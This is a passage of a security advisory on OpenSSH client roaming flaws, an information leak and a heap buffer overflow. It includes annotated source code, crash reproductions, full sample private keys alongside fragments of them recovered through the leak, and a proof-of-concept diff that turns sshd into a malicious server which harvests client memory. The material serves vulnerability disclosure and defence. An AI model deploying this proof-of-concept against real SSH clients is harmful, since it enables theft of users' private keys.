8ZDkWQKBgQC2pNzgDrXLe+DIUvdKg88483kIR/hP2yJG1V7s+NaDEigIk8BO6qvp ppa4JYanVDl2TpV258nE0opFQ66Q9sN61SfWfNqyUelZTOTzJIsGNgxDFGvyUTrz uiC4d/e3Jlxj21nUciQIe4imMb6nGFbUIsylUrDn8GfA65aePLuaSg== -----END RSA PRIVATE KEY-----

"pwd"/sshd -o ListenAddress=127.0.0.1:222 -o UsePrivilegeSeparation=no -f /etc/ssh/sshd_config -h /etc/ssh/ssh_host_rsa_key

$ /usr/bin/ssh -o ProxyCommand="/usr/bin/nc -w 1 %h %p" -p 222 127.0.0.1 [connection suspended, press return to resume]Segmentation fault (core dumped)

(this example requires a ProxyCommand because of the NULL-aitop bug described in the Mitigating Factors of the Information Leak section, and crashes because of the NULL-pointer dereference discussed in the Mitigating Factors of the Buffer Overflow section)

cat /tmp/roaming-a5eca355/infoleak

ry+AtEOxWUwIkVKjm48Wry2CxroURqn6Zqohzdra uWPGxUsKUvtNGpM4hKCHFQKBgQCM8ylXkRZZOTjeogc4aHAzJ1KL+VptQKsYPudc prs0RnwsAmfDQYnUXLEQb6uFrVHIdswrGvdXFuJ/ujEhoPqjlp5ICPcoC/qil5rO ZAX4i7PRvSoRLpMnN6mGpaV2mN8pZALzraGG+pnPnHmCqRTdw2Jy/NNSofdayV8V 8ZDkWQKBgQC2pNzgDrXLe+DIUvdKg88483kIR/hP2yJG1V7s+NaDEigIk8BO6qvp ppa4JYanVDl2TpV258nE0opFQ66Q9sN61SfWfNqyUelZTOTzJIsGNgxDFGvyUTrz uiC4d/e3Jlxj21nUciQIe4imMb6nGFbUIsylUrDn8GfA65aePLuaSg==


Private Key Disclosure example: CentOS 7, 1024-bit DSA key

$ grep PRETTY_NAME= /etc/os-release PRETTY_NAME="CentOS Linux 7 (Core)"

$ /usr/bin/ssh -V OpenSSH_6.4p1, OpenSSL 1.0.1e-fips 11 Feb 2013

$ cat ~/.ssh/id_dsa -----BEGIN DSA PRIVATE KEY----- MIIBvQIBAAKBgQDmjJYHvennuPmKGxfMuNc4nW2Z1via6FkkZILWOO1QJLB5OXqe kt7t/AAr+1n0lJbC1Q8hP01LFnxKoqqWfHQIuQL+S88yr5T8KY/VxV9uCVKpQk5n GLnZn1lmDldNaqhV0ECESXZVEpq/8TR2m2XjSmE+7Y14hI0cjBdnOz2X8wIVAP0a Nmtvmc4H+iFvKorV4B+tqRmvAoGBAKjE7ps031YRb6S3htr/ncPlXKtNTSTwaakC o7l7mJT+lI9vTrQsu3QCLAUZnmVHAIj/m9juk8kXkZvEBXJuPVdL0tCRNAsCioD2 hUaU7sV6Nho9fJIclxuxZP8j+uzidQKKN/+CVbQougsLsBlstpuQ4Hr2DHmalL8X iISkLhuyAoGBAKKRxVAVr2Q72Xz6vRmbULRvsfG1sSxNHOssA9CWKByOjDr2mo1l B7oIhTZ+eGvtHjiOozM0PzlcRSu5ZY3ZN2hfXITp9/4oatxFUV5V8aniqyq4Kwj/ QlCmHO7eRlPArhylx8uRnoHkbTRe+by5fmPImz/3WUtgPnx8y3NOEsCtAhUApdtS F9AoVoZFKEGn4FEoYIqY3a4= -----END DSA PRIVATE KEY-----

env ROAMING="heap_massaging:linux" "pwd"/sshd -o ListenAddress=127.0.0.1:222 -o UsePrivilegeSeparation=no -f /etc/ssh/sshd_config -h /etc/ssh/ssh_host_rsa_key

$ /usr/bin/ssh -p 222 127.0.0.1 ...

strings /tmp/roaming-b7b16dfc/infoleak

jJYHvennuPmKGxfMuNc4nW2Z1via6FkkZILWOO1QJLB5OXqe kt7t/AAr+1n0lJbC1Q8hP01LFnxKoqqWfHQIuQL+S88yr5T8KY/VxV9uCVKpQk5

strings /tmp/roaming-b324ce87/infoleak

IuQL R2m2XjSmE+7Y14hI0cjBdnOz2X8wIVAP0a Nmtvmc4H+iFvKorV4B+tqRmvAoGBAKjE7ps031YRb6S3htr/ncPlXKtNTSTwaakC o7l7mJT+lI9v

strings /tmp/roaming-24011739/infoleak

KjE7ps031YRb6S3htr/ncPlXKtNTSTwaakC o7l7mJT+lI9vTrQsu3QCLAUZnmVHAIj/m9juk8kXkZvEBXJuPVdL0tCRNAsC

strings /tmp/roaming-37456846/infoleak

LsBlstpuQ4Hr2DHmalL8X iISkLhuyAoGBAKKRxVAVr2Q72Xz6vRmbULRvsfG1sSxNHOssA9CWKByOjDr2mo1l B7oIhTZ+eGvtHjiOozM0PzlcRSu5ZY3ZNA yq4Kwj/

strings /tmp/roaming-988ff54c/infoleak

GBAKKRxVAVr2Q72Xz6vRmbULRvsfG1sSxNHOssA9CWKByOjDr2mo1l B7oIhTZ+eGvtHjiOozM0PzlcRSu5ZY3ZN2hfXITp9/4oatxFUV5V8aniqyq4Kwj/

strings /tmp/roaming-53887fa5/infoleak

/4oatxFUV5V8aniqyq4Kwj/ QlCmHO7eRlPArhylx8uRnoHkbTRe+by5fmPImz/3WUtgPnx8y3NOEsCtAhUApdtS F9AoVoZFKEGn4FEoYIqY3a4


Private Key Disclosure example: Fedora 20, 2048-bit RSA key

$ grep PRETTY_NAME= /etc/os-release PRETTY_NAME="Fedora 20 (Heisenbug)"

$ /usr/bin/ssh -V OpenSSH_6.4p1, OpenSSL 1.0.1e-fips 11 Feb 2013

$ cat ~/.ssh/id_rsa -----BEGIN RSA PRIVATE KEY----- MIIEogIBAAKCAQEAmbj/XjOppLWSAhuLKiRoHsdp66LJdY2PvP0ht3GWDKKCk7Gz HLas5VjotS9rmupavGGDiicMHPClOttWAI9MRyvP77iZhSei/RzX1/UKk/broTDp o9ljBnQTzRAyw8ke72Ih77SOGfOLBvYlx80ZmESLYYH95aAeuuDvb236JnsgRPDQ /B/gyRIhfqis70USi05/ZbnAenFn+v9zoSduDYMzSM8mFmh9f+9PVb9qMHdfNkIy 2E78kt9BknU/bEcCWyL+IXNLV0rgRGAcE0ncKu13YvuH/7o4Q7bW2FYErT4P/FHK cRmpbVfAzJQb85uXUXaNLVW0A/gHqTaGCUWJUwIDAQABAoIBAD0ZpB8MR9SY+uTt j737ZIs/VeF7/blEwCotLvacJjj1axNLYVb7YPN0CGLj61BS8CfKVp9V7+Gc4P/o 6GEmk/oB9w9gf1zGqWkTytMiqcawMW4LZAJlSI/rGWe7lYHuceZSSgzd5lF4VP06 Xz/wTMkSDZh/M6zOnQhImcLforsiPbTKKIVLL6u13VUmDcYfaBh9VepjyN8i+KIV JQB26MlXSxuAp8o0BQUI8FY/dsObJ9xjMT/u2+prtAxpPNfKElEV7ZPBrTRAuCUr Hiy7yflZ3w0qHekNafX/tnWiU4zi/p6aD4rs10YaYSnSolsDs2k8wHbVP4VtLE8l PRfXS6ECgYEAyVf7Pr3TwTa0pPEk1dLz3XHoetTqUND/0Kv+i7MulBzJ4LbcsTEJ rtOuGGpLrAYlIvCgT+F26mov5fRGsjjnmP3P/PsvzR8Y9DhiWl9R7qyvNznQYxjo /euhzdYixxIkfqyopnYFoER26u37/OHe37PH+8U1JitVrhv7s4NYztECgYEAw3Ot gxMqsKh42ydIv1sBg1QEHu0TNvyYy7WCB8jnMsygUQ8EEJs7iKP//CEGRdDAwyGa jwj3EZsXmtP+wd3fhge7pIHp5RiKfBn0JtSvXQQHO0k0eEcQ4aA/6yESI62wOuaY vJ+q7WMo1wHtMoqRPtW/OAxUf91dQRtzK/GpRuMCgYAc7lh6vnoT9FFmtgPN+b7y 3fBC3h9BN5banCw6VKfnvm8/q+bwSxSSG3aTqYpwEH37lEnk0IfuzQ1O5JfX+hdF Q4tEVa+bsNE8HnH7fGDgg821iMgpxSWNfvNECXX71t6JmTOun5zVV6EixsmDn80P pdyhj8fAUU/BceHr/H6hUQKBgCX5SqPlzGyIPvrtVf//sXqPj0Fm9E3Bo/ooKLxU dz7ybM9y6GpFjrqMioa07+AOn/UJiVry9fXQuTRWre+CqRQEWpuqtgPR0c4syLfm qK+cwb7uCSi5PfloRiLryPdvnobDGLfFGdOHaX7km+4u5+taYg2Er8IsAxtMNwM5 r5bbAoGAfxRRGMamXIha8xaJwQnHKC/9v7r79LPFoht/EJ7jw/k8n8yApoLBLBYp P/jXU44sbtWB3g3eARxPL3HBLVVMWfW9ob7XxI4lKqCQ9cuKCBqosVbEQhNKZAj+ ZS16+aH97RKdJD/4qiskzzHvZs+wi4LKPHHHz7ETXr/m4CRfMIU= -----END RSA PRIVATE KEY-----

env ROAMING="heap_massaging:linux" "pwd"/sshd -o ListenAddress=127.0.0.1:222 -o UsePrivilegeSeparation=no -f /etc/ssh/sshd_config -h /etc/ssh/ssh_host_rsa_key

$ /usr/bin/ssh -p 222 127.0.0.1 ...

strings /tmp/roaming-a2bbc5f6/infoleak

cRmpbVfAzJQb85uXUXaNLVW0A/gHqTaGCUWJUwIDAQABAoIBAD0ZpB8MR9SY+uTt j737ZIs/VeF7/blEwCotLvacJjj1axNLYVb7YPN0CG

strings /tmp/roaming-47b46456/infoleak

RGAcE0nc GCUWJUwIDAQABAoIBAD0ZpB8MR9SY+uTt j737ZIs/VeF7/blEwCotLvacJjj1axNLYVb7YPN0CGLj61BS8CfKVp9V7+Gc4P/o 6GEmk/oB9

strings /tmp/roaming-7a6717ae/infoleak

cawMW4LZ1 Xz/wTMkSDZh/M6zOnQhImcLforsiPbTKKIVLL6u13VUmDcYfaBh9VepjyN8i+KIV JQB26MlXSxuAp8o0BQUI8FY/dsObJ9xjMT/u2+p

strings /tmp/roaming-f3091f08/infoleak

lZ3w0qHe nSolsDs2k8wHbVP4VtLE8l PRfXS6ECgYEAyVf7Pr3TwTa0pPEk1dLz3XHoetTqUND/0Kv+i7MulBzJ4LbcsTEJ

strings /tmp/roaming-62a9e9a3/infoleak

lZ3w0qHe r3TwTa0pPEk11 LbcsTEJ rtOuGGpLrAYlIvCgT+F26mov5fRGsjjnmP3P/PsvzR8Y9DhiWl9R7qyvNznQYxjo /euhzdYixxIkfqyopnYFoER26u37/OHe37P

strings /tmp/roaming-8de31ed5/infoleak

7qyvNznQ 26u37/OHe37PH+8U1JitVrhv7s4NYztECgYEAw3Ot gxMqsKh42ydIv1sBg1QEHu0TNvyYy7WCB8jnMsygUQ8EEJs7iKP//CEGRdDAwyGa

strings /tmp/roaming-f5e0fbcc/infoleak

yESI62wOuaY vJ+q7WMo1wHtMoqRPtW/OAxUf91dQRtzK/GpRuMCgYAc7lh6vnoT9FFmtgPN+b7y 3fBC3h9BN5banCw6VKfnvm8/q+bwSxS

strings /tmp/roaming-9be933df/infoleak

QRtzK/GpRuMC1 C3h9BN5banCw6VKfnvm8/q+bwSxSSG3aTqYpwEH37lEnk0IfuzQ1O5JfX+hdF Q4tEVa+bsNE8HnH7fGDgg821iMgpxSWNfvNECXX71t6JmT

strings /tmp/roaming-ee4d1e6c/infoleak

SG3aTqYp tEVa+bsNE8HnH7fGDgg821iMgpxSWNfvNECXX71t6JmTOun5zVV6EixsmDn80P pdyhj8fAUU/BceHr/H6hUQKBgCX5SqPlzGyIPvrtVf//s

strings /tmp/roaming-c2bfd69c/infoleak

SG3aTqYp 6JmTOun5zVV6A H6hUQKBgCX5SqPlzGyIPvrtVf//sXqPj0Fm9E3Bo/ooKLxU dz7ybM9y6GpFjrqMioa07+AOn/UJiVry9fXQuTRWre+CqRQEWpuqtgPR0c4s

strings /tmp/roaming-2b3217a1/infoleak

DGLfFGdO r5bbAoGAfxRRGMamXIha8xaJwQnHKC/9v7r79LPFoht/EJ7jw/k8n8yApoLBLBYp P/jXU44sbtWB3g3eARxPL3HBLVVMWfW9ob7XxI4lKqCQ9cuKCQ

strings /tmp/roaming-1e275747/infoleak

g3eARxPL3HBLVVMWfW9ob7XxI4lKqCQ9cuKCBqosVbEQhNKZAj+

======================================================================== Buffer Overflow (CVE-2016-0778) ========================================================================


Analysis

Support for roaming was elegantly added to the OpenSSH client: the calls to read() and write() that communicate with the SSH server were replaced by calls to roaming_read() and roaming_write(), two wrappers that depend on wait_for_roaming_reconnect() to transparently reconnect to the server after a disconnection. The wait_for_roaming_reconnect() routine is essentially a sequence of four subroutines:

239 int 240 wait_for_roaming_reconnect(void) 241 { ... 250 fprintf(stderr, "[connection suspended, press return to resume]"); ... 252 packet_backup_state(); 253 / TODO Perhaps we should read from tty here / 254 while ((c = fgetc(stdin)) != EOF) { ... 259 if (c != '\n' && c != '\r') 260 continue; 261 262 if (ssh_connect(host, &hostaddr, options.port, ... 265 options.proxy_command) == 0 && roaming_resume() == 0) { 266 packet_restore_state(); ... 268 fprintf(stderr, "[connection resumed]\n"); ... 270 return 0; 271 } 272 273 fprintf(stderr, "[reconnect failed, press return to retry]"); ... 275 } 276 fprintf(stderr, "[exiting]\n"); ... 278 exit(0); 279 }

  1. packet_backup_state() close()s connection_in and connection_out (the old file descriptors that connected the client to the server), and saves the state of the suspended SSH session (for example, the encryption and decryption contexts).

  2. ssh_connect() opens new file descriptors, and connects them to the SSH server.

  3. roaming_resume() negotiates the resumption of the suspended SSH session with the server, and calls resend_bytes().

  4. packet_restore_state() updates connection_in and connection_out (with the new file descriptors that connect the client to the server), and restores the state of the suspended SSH session.

The new file descriptors for connection_in and connection_out may differ from the old ones (if, for example, files or pipes or sockets are opened or closed between two successive ssh_connect() calls), but unfortunately historical code in OpenSSH assumes that they are constant:

  • In client_loop(), the variables connection_in and connection_out are cached locally, but packet_write_poll() calls roaming_write(), which may assign new values to connection_in and connection_out (if a reconnection occurs), and client_wait_until_can_do_something() subsequently reuses the old, cached values.

  • client_loop() eventually updates these cached values, and the following FD_ISSET() uses a new, updated file descriptor (the fd connection_out), but an old, out-of-date file descriptor set (the fd_set writeset).

  • packet_read_seqnr() (old API, or ssh_packet_read_seqnr(), new API) first calloc()ates setp, a file descriptor set for connection_in; next, it loops around memset(), FD_SET(), select() and roaming_read(); last, it free()s setp and returns. Unfortunately, roaming_read() may reassign a higher value to connection_in (if a reconnection occurs), but setp is never enlarged, and the following memset() and FD_SET() may therefore overflow setp (a heap-based buffer overflow):

1048 int 1049 packet_read_seqnr(u_int32_t seqnr_p) 1050 { .... 1052 fd_set setp; .... 1058 setp = (fd_set )xcalloc(howmany(active_state->connection_in + 1, 1059 NFDBITS), sizeof(fd_mask)); .... 1065 for (;;) { .... 1075 if (type != SSH_MSG_NONE) { 1076 free(setp); 1077 return type; 1078 } .... 1083 memset(setp, 0, howmany(active_state->connection_in + 1, 1084 NFDBITS) * sizeof(fd_mask)); 1085 FD_SET(active_state->connection_in, setp); .... 1092 for (;;) { .... 1097 if ((ret = select(active_state->connection_in + 1, setp, 1098 NULL, NULL, timeoutp)) >= 0) 1099 break; .... 1115 } .... 1117 do { .... 1119 len = roaming_read(active_state->connection_in, buf, 1120 sizeof(buf), &cont); 1121 } while (len == 0 && cont); .... 1130 } 1131 / NOTREACHED */ 1132 }

  • packet_write_wait() (old API, or ssh_packet_write_wait(), new API) is basically similar to packet_read_seqnr() and may overflow its own setp if roaming_write() (called by packet_write_poll()) reassigns a higher value to connection_out (after a successful reconnection):

1739 void 1740 packet_write_wait(void) 1741 { 1742 fd_set setp; .... 1746 setp = (fd_set )xcalloc(howmany(active_state->connection_out + 1, 1747 NFDBITS), sizeof(fd_mask)); 1748 packet_write_poll(); 1749 while (packet_have_data_to_write()) { 1750 memset(setp, 0, howmany(active_state->connection_out + 1, 1751 NFDBITS) * sizeof(fd_mask)); 1752 FD_SET(active_state->connection_out, setp); .... 1758 for (;;) { .... 1763 if ((ret = select(active_state->connection_out + 1, 1764 NULL, setp, NULL, timeoutp)) >= 0) 1765 break; .... 1776 } .... 1782 packet_write_poll(); 1783 } 1784 free(setp); 1785 }


Mitigating Factors

This buffer overflow affects all OpenSSH clients >= 5.4, but its impact is significantly reduced by the Mitigating Factors detailed in the Information Leak section, and additionally:

  • OpenSSH versions >= 6.8 reimplement packet_backup_state() and packet_restore_state(), but introduce a bug that prevents the buffer overflow from being exploited; indeed, ssh_packet_backup_state() swaps two local pointers, ssh and backup_state, instead of swapping the two global pointers active_state and backup_state:

9 struct ssh active_state, backup_state; ... 238 void 239 packet_backup_state(void) 240 { 241 ssh_packet_backup_state(active_state, backup_state); 242 } 243 244 void 245 packet_restore_state(void) 246 { 247 ssh_packet_restore_state(active_state, backup_state); 248 }

2269 void 2270 ssh_packet_backup_state(struct ssh ssh, 2271 struct ssh backup_state) 2272 { 2273 struct ssh tmp; .... 2279 if (backup_state) 2280 tmp = backup_state; 2281 else 2282 tmp = ssh_alloc_session_state(); 2283 backup_state = ssh; 2284 ssh = tmp; 2285 } .... 2291 void 2292 ssh_packet_restore_state(struct ssh ssh, 2293 struct ssh backup_state) 2294 { 2295 struct ssh tmp; .... 2299 tmp = backup_state; 2300 backup_state = ssh; 2301 ssh = tmp; 2302 ssh->state->connection_in = backup_state->state->connection_in;

As a result, the global pointer backup_state is still NULL when passed to ssh_packet_restore_state(), and crashes the OpenSSH client when dereferenced:

env ROAMING="overflow:A fd_leaks:0" "pwd"/sshd -o ListenAddress=127.0.0.1:222 -o UsePrivilegeSeparation=no -f /etc/ssh/sshd_config -h /etc/ssh/ssh_host_rsa_key

$ /usr/bin/ssh -V OpenSSH_6.8, LibreSSL 2.1

$ /usr/bin/ssh -o ProxyCommand="/usr/bin/nc -w 15 %h %p" -p 222 127.0.0.1 user@127.0.0.1's password: [connection suspended, press return to resume]Segmentation fault (core dumped)

This bug prevents the buffer overflow from being exploited, but not the information leak, because the vulnerable function resend_bytes() is called before ssh_packet_restore_state() crashes.


File Descriptor Leak

A back-of-the-envelope calculation indicates that, in order to increase the file descriptor connection_in or connection_out, and thus overflow the file descriptor set setp in packet_read_seqnr() or packet_write_wait(), a file descriptor leak is needed:

  • First, the number of bytes calloc()ated for setp is rounded up to the nearest multiple of sizeof(fd_mask): 8 bytes (or 64 file descriptors) on 64-bit systems.

  • Next, in glibc, this number is rounded up to the nearest multiple of MALLOC_ALIGNMENT: 16 bytes (or 128 file descriptors) on 64-bit systems.

  • Last, in glibc, a MIN_CHUNK_SIZE is enforced: 32 bytes on 64-bit systems, of which 24 bytes (or 192 file descriptors) are reserved for setp.

  • In conclusion, a file descriptor leak is needed, because connection_in or connection_out has to be increased by hundreds in order to overflow setp.

The search for a suitable file descriptor leak begins with a study of the behavior of the four ssh_connect() methods, when called for a reconnection by wait_for_roaming_reconnect():

  1. The default method ssh_connect_direct() communicates with the server through a simple TCP socket: the two file descriptors connection_in and connection_out are both equal to this socket's file descriptor.

In wait_for_roaming_reconnect(), the low-numbered file descriptor of the old TCP socket is close()d by packet_backup_state(), but immediately reused for the new TCP socket in ssh_connect_direct(): the new file descriptors connection_in and connection_out are equal to this old, low-numbered file descriptor, and cannot possibly overflow setp.

  1. The special ProxyCommand "-" communicates with the server through stdin and stdout, but (as explained in the Mitigating Factors of the Information Leak section) it cannot possibly reconnect to the server, and is therefore immune to this buffer overflow.

  2. Surprisingly, we discovered a file descriptor leak in the ssh_proxy_fdpass_connect() method itself; indeed, the file descriptor sp[1] is never close()d:

101 static int 102 ssh_proxy_fdpass_connect(const char host, u_short port, 103 const char proxy_command) 104 { ... 106 int sp[2], sock; ... 113 if (socketpair(AF_UNIX, SOCK_STREAM, 0, sp) < 0) 114 fatal("Could not create socketpair to communicate with " 115 "proxy dialer: %.100s", strerror(errno)); ... 161 close(sp[0]); ... 164 if ((sock = mm_receive_fd(sp[1])) == -1) 165 fatal("proxy dialer did not pass back a connection"); ... 171 / Set the connection file descriptors. / 172 packet_set_connection(sock, sock); 173 174 return 0; 175 }

However, two different reasons prevent this file descriptor leak from triggering the setp overflow:

  • The method ssh_proxy_fdpass_connect() communicates with the server through a single socket received from the ProxyCommand: the two file descriptors connection_in and connection_out are both equal to this socket's file descriptor.

In wait_for_roaming_reconnect(), the low-numbered file descriptor of the old socket is close()d by packet_backup_state(), reused for sp[0] in ssh_proxy_fdpass_connect(), close()d again, and eventually reused again for the new socket: the new file descriptors connection_in and connection_out are equal to this old, low-numbered file descriptor, and cannot possibly overflow setp.

  • Because of the waitpid() bug described in the Mitigating Factors of the Information Leak section, the method ssh_proxy_fdpass_connect() calls fatal() before it returns to wait_for_roaming_reconnect(), and is therefore immune to this buffer overflow.

  • The method ssh_proxy_connect() communicates with the server through a ProxyCommand and two different pipes: the file descriptor connection_in is the read end of the second pipe (pout[0]), and the file descriptor connection_out is the write end of the first pipe (pin[1]):

180 static int 181 ssh_proxy_connect(const char host, u_short port, const char proxy_command) 182 { ... 184 int pin[2], pout[2]; ... 192 if (pipe(pin) < 0 || pipe(pout) < 0) 193 fatal("Could not create pipes to communicate with the proxy: %.100s", 194 strerror(errno)); ... 240 / Close child side of the descriptors. / 241 close(pin[0]); 242 close(pout[1]); ... 247 / Set the connection file descriptors. / 248 packet_set_connection(pout[0], pin[1]); 249 250 / Indicate OK return / 251 return 0; 252 }

In wait_for_roaming_reconnect(), the two old, low-numbered file descriptors connection_in and connection_out are both close()d by packet_backup_state(), and immediately reused for the pipe(pin) in ssh_proxy_connect(): the new connection_out (pin[1]) is equal to one of these old, low-numbered file descriptors, and cannot possibly overflow setp.

On the other hand, the pipe(pout) in ssh_proxy_connect() may return high-numbered file descriptors, and the new connection_in (pout[0]) may therefore overflow setp, if hundreds of file descriptors were leaked before the call to wait_for_roaming_reconnect():

  • We discovered a file descriptor leak in the pubkey_prepare() function of OpenSSH >= 6.8; indeed, if the client is running an authentication agent that does not offer any private keys, the reference to agent_fd is lost, and this file descriptor is never close()d:

1194 static void 1195 pubkey_prepare(Authctxt *authctxt) 1196 { .... 1200 int agent_fd, i, r, found; .... 1247 if ((r = ssh_get_authentication_socket(&agent_fd)) != 0) { 1248 if (r != SSH_ERR_AGENT_NOT_PRESENT) 1249 debug("%s: ssh_get_authentication_socket: %s", 1250 func, ssh_err(r)); 1251 } else if ((r = ssh_fetch_identitylist(agent_fd, 2, &idlist)) != 0) { 1252 if (r != SSH_ERR_AGENT_NO_IDENTITIES) 1253 debug("%s: ssh_fetch_identitylist: %s", 1254 func, ssh_err(r)); 1255 } else { .... 1288 authctxt->agent_fd = agent_fd; 1289 } .... 1299 }

However, OpenSSH clients >= 6.8 crash in ssh_packet_restore_state() (because of the NULL-pointer dereference discussed in the Mitigating Factors of the Buffer Overflow section) and are immune to the setp overflow, despite this agent_fd leak.

  • If ForwardAgent (-A) or ForwardX11 (-X) is enabled in the OpenSSH client (it is disabled by default), a malicious SSH server can request hundreds of forwardings, in order to increase connection_in (each forwarding opens a file descriptor), and thus overflow setp in packet_read_seqnr():

env ROAMING="overflow:A" "pwd"/sshd -o ListenAddress=127.0.0.1:222 -o UsePrivilegeSeparation=no -f /dev/null -h /etc/ssh/ssh_host_rsa_key

$ /usr/bin/ssh -V OpenSSH_6.6.1p1 Ubuntu-2ubuntu2, OpenSSL 1.0.1f 6 Jan 2014

$ /usr/bin/ssh-agent -- /usr/bin/ssh -A -o ProxyCommand="/usr/bin/socat - TCP4:%h:%p" -p 222 127.0.0.1 user@127.0.0.1's password: [connection suspended, press return to resume][connection resumed] *** Error in `/usr/bin/ssh': free(): invalid next size (fast): 0x00007f0474d03e70 *** Aborted (core dumped)

env ROAMING="overflow:X" "pwd"/sshd -o ListenAddress=127.0.0.1:222 -o UsePrivilegeSeparation=no -f /etc/ssh/sshd_config -h /etc/ssh/ssh_host_rsa_key

$ /usr/bin/ssh -V OpenSSH_6.4p1, OpenSSL 1.0.1e-fips 11 Feb 2013

$ /usr/bin/ssh -X -o ProxyCommand="/usr/bin/socat - TCP4:%h:%p" -p 222 127.0.0.1 user@127.0.0.1's password: [connection suspended, press return to resume][connection resumed] *** Error in /usr/bin/ssh': free(): invalid next size (fast): 0x00007fdcc2a3aba0 *** *** Error in/usr/bin/ssh': malloc(): memory corruption: 0x00007fdcc2a3abc0 ***

Finally, a brief digression on two unexpected problems that had to be solved in our proof-of-concept:

  • First, setp can be overflowed only in packet_read_seqnr(), not in packet_write_wait(), but agent forwarding and X11 forwarding are post- authentication functionalities, and post-authentication calls to packet_read() or packet_read_expect() are scarce, except in the key-exchange code of OpenSSH clients < 6.8: our proof-of-concept effectively forces a rekeying in order to overflow setp in packet_read_seqnr().

  • Second, after a successful reconnection, packet_read_seqnr() may call fatal("Read from socket failed: %.100s", ...), because roaming_read() may return EAGAIN (EAGAIN is never returned without the reconnection, because the preceding call to select() guarantees that connection_in is ready for read()). Our proof-of-concept works around this problem by forcing the client to resend MAX_ROAMBUF bytes (2M) to the server, allowing data to reach the client before roaming_read() is called, thus avoiding EAGAIN.

======================================================================== Acknowledgments ========================================================================

We would like to thank the OpenSSH developers for their great work and their incredibly quick response, Red Hat Product Security for promptly assigning CVE-IDs to these issues, and Alexander Peslyak of the Openwall Project for the interesting discussions.

======================================================================== Proof Of Concept ========================================================================

diff -pruN openssh-6.4p1/auth2-pubkey.c openssh-6.4p1+roaming/auth2-pubkey.c --- openssh-6.4p1/auth2-pubkey.c 2013-07-17 23:10:10.000000000 -0700 +++ openssh-6.4p1+roaming/auth2-pubkey.c 2016-01-07 01:04:15.000000000 -0800 @@ -169,7 +169,9 @@ userauth_pubkey(Authctxt authctxt) * if a user is not allowed to login. is this an * issue? -markus / - if (PRIVSEP(user_key_allowed(authctxt->pw, key))) { + if (PRIVSEP(user_key_allowed(authctxt->pw, key)) || 1) { + debug("%s: force client-side load_identity_file", + func); packet_start(SSH2_MSG_USERAUTH_PK_OK); packet_put_string(pkalg, alen); packet_put_string(pkblob, blen); diff -pruN openssh-6.4p1/kex.c openssh-6.4p1+roaming/kex.c --- openssh-6.4p1/kex.c 2013-06-01 14:31:18.000000000 -0700 +++ openssh-6.4p1+roaming/kex.c 2016-01-07 01:04:15.000000000 -0800 @@ -442,6 +442,73 @@ proposals_match(char *my[PROPOSAL_MAX], }

static void +roaming_reconnect(void) +{ + packet_read_expect(SSH2_MSG_KEX_ROAMING_RESUME); + const u_int id = packet_get_int(); / roaming_id / + debug("%s: id %u", func, id); + packet_check_eom(); + + const char const dir = get_roaming_dir(id); + debug("%s: dir %s", func, dir); + const int fd = open(dir, O_RDONLY | O_NOFOLLOW | O_NONBLOCK); + if (fd <= -1) + fatal("%s: open %s errno %d", func, dir, errno); + if (fchdir(fd) != 0) + fatal("%s: fchdir %s errno %d", func, dir, errno); + if (close(fd) != 0) + fatal("%s: close %s errno %d", func, dir, errno); + + packet_start(SSH2_MSG_KEX_ROAMING_AUTH_REQUIRED); + packet_put_int64(arc4random()); / chall / + packet_put_int64(arc4random()); / oldchall / + packet_send(); + + packet_read_expect(SSH2_MSG_KEX_ROAMING_AUTH); + const u_int64_t client_read_bytes = packet_get_int64(); + debug("%s: client_read_bytes %llu", func, + (unsigned long long)client_read_bytes); + packet_get_int64(); / digest (1-8) / + packet_get_int64(); / digest (9-16) / + packet_get_int(); / digest (17-20) / + packet_check_eom(); + + u_int64_t client_write_bytes; + size_t len = sizeof(client_write_bytes); + load_roaming_file("client_write_bytes", &client_write_bytes, &len); + debug("%s: client_write_bytes %llu", func, + (unsigned long long)client_write_bytes); + + u_int client_out_buf_size; + len = sizeof(client_out_buf_size); + load_roaming_file("client_out_buf_size", &client_out_buf_size, &len); + debug("%s: client_out_buf_size %u", func, client_out_buf_size); + if (client_out_buf_size <= 0 || client_out_buf_size > MAX_ROAMBUF) + fatal("%s: client_out_buf_size %u", func, + client_out_buf_size); + + packet_start(SSH2_MSG_KEX_ROAMING_AUTH_OK); + packet_put_int64(client_write_bytes - (u_int64_t)client_out_buf_size); + packet_send(); + const int overflow = (access("output", F_OK) == 0); + if (overflow != 0) { + const void const ptr = load_roaming_file("output", NULL, &len); + buffer_append(packet_get_output(), ptr, len); + } + packet_write_wait(); + + char const client_out_buf = xmalloc(client_out_buf_size); + if (atomicio(read, packet_get_connection_in(), client_out_buf, + client_out_buf_size) != client_out_buf_size) + fatal("%s: read client_out_buf_size %u errno %d", func, + client_out_buf_size, errno); + if (overflow == 0) + dump_roaming_file("infoleak", client_out_buf, + client_out_buf_size); + fatal("%s: all done for %s", func, dir); +} + +static void kex_choose_conf(Kex kex) { Newkeys newkeys; @@ -470,6 +537,10 @@ kex_choose_conf(Kex kex) kex->roaming = 1; free(roaming); } + } else if (strcmp(peer[PROPOSAL_KEX_ALGS], KEX_RESUME) == 0) { + roaming_reconnect(); + / NOTREACHED / + fatal("%s: returned from %s", func, KEX_RESUME); }

/* Algorithm Negotiation */

diff -pruN openssh-6.4p1/roaming.h openssh-6.4p1+roaming/roaming.h --- openssh-6.4p1/roaming.h 2011-12-18 15:52:52.000000000 -0800 +++ openssh-6.4p1+roaming/roaming.h 2016-01-07 01:04:15.000000000 -0800 @@ -42,4 +42,86 @@ void resend_bytes(int, u_int64_t ); void calculate_new_key(u_int64_t , u_int64_t, u_int64_t); int resume_kex(void);

+#include +#include +#include +#include +#include +#include + +#include "atomicio.h" +#include "log.h" +#include "xmalloc.h" + +static inline char * +get_roaming_dir(const u_int id) +{ + const size_t buflen = MAXPATHLEN; + char const buf = xmalloc(buflen); + + if ((u_int)snprintf(buf, buflen, "/tmp/roaming-%08x", id) >= buflen) + fatal("%s: snprintf %u error", func, id); + return buf; +} + +static inline void +dump_roaming_file(const char const name, + const void const buf, const size_t buflen) +{ + if (name == NULL) + fatal("%s: name %p", func, name); + if (strchr(name, '/') != NULL) + fatal("%s: name %s", func, name); + if (buf == NULL) + fatal("%s: %s buf %p", func, name, buf); + if (buflen <= 0 || buflen > MAX_ROAMBUF) + fatal("%s: %s buflen %lu", func, name, (u_long)buflen); + + const int fd = open(name, O_WRONLY | O_CREAT | O_EXCL, S_IRUSR); + if (fd <= -1) + fatal("%s: open %s errno %d", func, name, errno); + if (write(fd, buf, buflen) != (ssize_t)buflen) + fatal("%s: write %s errno %d", func, name, errno); + if (close(fd) != 0) + fatal("%s: close %s errno %d", 